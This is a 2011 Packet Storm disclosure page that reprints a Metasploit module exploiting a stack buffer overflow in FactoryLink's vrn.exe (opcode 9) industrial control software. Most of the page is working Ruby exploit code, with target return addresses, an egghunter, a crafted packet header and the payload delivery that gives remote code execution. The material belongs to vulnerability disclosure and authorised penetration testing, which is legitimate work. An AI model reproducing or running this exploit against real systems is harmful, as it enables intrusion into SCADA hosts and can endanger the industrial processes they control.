global security disclosure

FactoryLink vrn.exe Opcode 9 Buffer Overflow

FactoryLink vrn.exe Opcode 9 Buffer Overflow
Posted Jun 21, 2011
Authored by Luigi Auriemma, hal | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2, and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to execute arbitrary code. Originally found and posted by Luigi Auriemma.

tags | exploit, overflow, arbitrary
advisories | OSVDB-72815
MD5 | b1bfc7e2b7e4d47e4dff89063cbff2ef

FactoryLink vrn.exe Opcode 9 Buffer Overflow

Change Mirror Download
##
# $Id: factorylink_vrn_09.rb 12996 2011-06-21 18:02:35Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2, and 8.0.1.703.
By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
Originally found and posted by Luigi Auriemma.
},
'Author' =>
[
'Luigi Auriemma', # Public exploit
'hal' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12996 $',
'References' =>
[
['OSVDB', '72815'],
['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 885,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'padding' => 0 } ],
[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'padding' => 0 } ],
[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'padding' => 4 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 21 2011'))

register_options([Opt::RPORT(7579)], self.class)
end

def exploit
connect

hunter = generate_egghunter(payload.encoded, payload_badchars,
{ :checksum => true, :startreg => 'ebp'})

egg = hunter[1]

header = "\x3f\x3f\x3f\x3f"
header << "\xff\x55"
header << "\x09\x00"
header << "\x3f\x3f\xff\xff\x00\x00\x3f\x3f"
header << "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f"
header << "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
header << "\x3f\x3f"
header << "\xff\xff\xff\xff"
header << "\x3f\x3f"

request = header
request << rand_text_alpha_upper(100)
request << egg
request << ("C" * target['padding'])
request << "\xeb\x06\x90\x90"
request << [target.ret].pack('V')
request << "C"*24
request << hunter[0]
request << rand_text_alpha_upper(100000)

print_status("Trying target #{target.name} with #{request.size} bytes")
sock.put(request)

handler
disconnect
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close